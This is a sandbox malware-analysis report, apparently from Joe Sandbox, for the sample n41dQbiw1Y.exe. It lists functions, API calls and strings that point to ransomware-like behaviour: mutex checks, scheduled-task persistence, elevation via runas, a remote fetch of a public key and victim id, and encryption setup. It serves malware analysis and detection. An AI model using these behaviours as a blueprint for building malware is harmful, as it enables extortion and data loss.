Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 9ab5214c5fdcd702fd50ce10b7410e4701c0e476554a2941456bb8d466f52569
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 9191D871E0031AEBDF20DFA8CD44BAEB7B5BF04314F245529E816A3244E779BA14CB95

Function 0436D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0436D77E
_malloc.LIBCMT ref: 0436D7B2
_malloc.LIBCMT ref: 0436D7C1
_fprintf.LIBCMT ref: 0436D815

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 7946ec8332773176e418b431263b8ff1617aed452ad29fd03b76340454f594bb
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 02A190B0C00249EBFF11EFE4CC59BDEBB75AF14308F145028D54676291D7B66A48CBA6

Function 04382AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04382B2E
__read_nolock.LIBCMT ref: 04382BFE
__filbuf.LIBCMT ref: 04382C21
_memset.LIBCMT ref: 04382C65

Part of subcall function 04385BA8: __getptd_noexit.LIBCMT ref: 04385BA8

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: cfd64dacaf9f6face1f3345dddd56d482f6053bf47742526a70fe92c2ab34372
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: E451C234A01706DFDB2AAF69888066FF7B5AF90320F1497ADF835966D0E770B950CB40

Function 043A1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 043A137D

Part of subcall function 043A1A9D: __fltout2.LIBCMT ref: 043A1AC6

__cftog_l.LIBCMT ref: 043A13A3
__cftoe_l.LIBCMT ref: 043A13D5

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: bbf9b15db3b4535a4aa058a63c6280f1e50d0a0c9bdf80d4320bc36d96d9a091
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 2501783208014ABBCF125E84CC05CEE3F66FF19354F08A514FA9858870D336E5B2AB81

Function 04427A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04427A4B

Part of subcall function 04428140: ___BuildCatchObjectHelper.LIBCMT ref: 04428172
Part of subcall function 04428140: ___AdjustPointer.LIBCMT ref: 04428189

_UnwindNestedFrames.LIBCMT ref: 04427A62
___FrameUnwindToState.LIBCMT ref: 04427A74
CallCatchBlock.LIBCMT ref: 04427A98

Memory Dump Source

Source File: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Offset: 04360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4360000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 9685318ac69c6af784527f14678db45d96f9ae8155e53a9db192808e95e03123
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 0E011736000119BBDF12AF56CE00EDB3BBAEF48758F55811AFA1865221D732E961DBA0

Analysis Process: n41dQbiw1Y.exePID: 7416, Parent PID: 7376COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	33

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0077AE28,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
I:\5d2860c89d774.jpg, xrefs: 0041B32F
x2Q, xrefs: 0041A856
C:\Windows\, xrefs: 0041AE0F
D:\Windows\, xrefs: 0041AFF3
7P, xrefs: 0041B164
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Program Files\Google\, xrefs: 0041B0EE
list<T> too long, xrefs: 0041B669, 0041B673
IsNotTask, xrefs: 0041A654
<, xrefs: 0041A67B
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
IsAutoStart, xrefs: 0041A1D0, 0041A273
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
x*P, xrefs: 0041ACE4
--Service, xrefs: 0041A30B
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsTask, xrefs: 0041A1EE, 0041A299
X1P, xrefs: 0041A485
%username%, xrefs: 0041B283
F:\, xrefs: 0041B397
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
--Task, xrefs: 0041A2CD
C:\Program Files\Google\, xrefs: 0041AFB9
IsNotAutoStart, xrefs: 0041A645
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--ForNetRes, xrefs: 0041A22E
--AutoStart, xrefs: 0041A2EC
runas, xrefs: 0041A6CE
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-1935460171
Opcode ID: fb3116249c6453eeacd4678d43b36c906f53720140511db3f7151be509ae1dba
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: fb3116249c6453eeacd4678d43b36c906f53720140511db3f7151be509ae1dba
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,1C81DFF8), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Heap32First, xrefs: 00481D8E
LanmanWorkstation, xrefs: 00481A26
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Module32First, xrefs: 00481E26
KERNEL32.DLL, xrefs: 0048199C
NETAPI32.DLL, xrefs: 004819A9
NetStatisticsGet, xrefs: 004819E2
CryptReleaseContext, xrefs: 00481AF6
Heap32ListNext, xrefs: 00481DC7
ADVAPI32.DLL, xrefs: 00481989
Heap32ListFirst, xrefs: 00481DB4
CreateToolhelp32Snapshot, xrefs: 00481D67
LanmanServer, xrefs: 00481A74
CryptGenRandom, xrefs: 00481AE3
NetApiBufferFree, xrefs: 004819F0
$, xrefs: 00481F7E
Process32First, xrefs: 00481DDA
CryptAcquireContextW, xrefs: 00481AD5
Heap32Next, xrefs: 00481DA1
CloseToolhelp32Snapshot, xrefs: 00481D7B
Process32Next, xrefs: 00481DED
USER32.DLL, xrefs: 00481C31
Thread32First, xrefs: 00481E00
Module32Next, xrefs: 00481E39
GetForegroundWindow, xrefs: 00481C4A
GetCursorInfo, xrefs: 00481C58
Thread32Next, xrefs: 00481E13
GetQueueStatus, xrefs: 00481C6B

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

","id":", xrefs: 0041EBC5, 0041EC4C
{"public_key":", xrefs: 0041EA2E, 0041EA8D
Microsoft Internet Explorer, xrefs: 0041E736
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
", xrefs: 0041ECA0
&first=false, xrefs: 0041E937
&first=true, xrefs: 0041E930
.bit/, xrefs: 0041E7A3
?pid=, xrefs: 0041E884

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 1a64c22bcfc5e4feecd15f8e2fa49dba9abc528bee9374a7dc85bbfbe971241a
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 1a64c22bcfc5e4feecd15f8e2fa49dba9abc528bee9374a7dc85bbfbe971241a
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Trigger1, xrefs: 0040D6FA
PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 055d738dd10d6b06ebdfafb54c401e9ff5bd6a2b9ba24bcbfbe552b006195204
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 055d738dd10d6b06ebdfafb54c401e9ff5bd6a2b9ba24bcbfbe552b006195204
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 311085bb5f21d25cc81269d1f638485d68d47ea2dd31f96a3b3f67442ef4dd82
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5433e7aae6df07b4b4b664f03d6f719d97dea3be5ed8e7b62a04e1807398fdab
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 5433e7aae6df07b4b4b664f03d6f719d97dea3be5ed8e7b62a04e1807398fdab
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
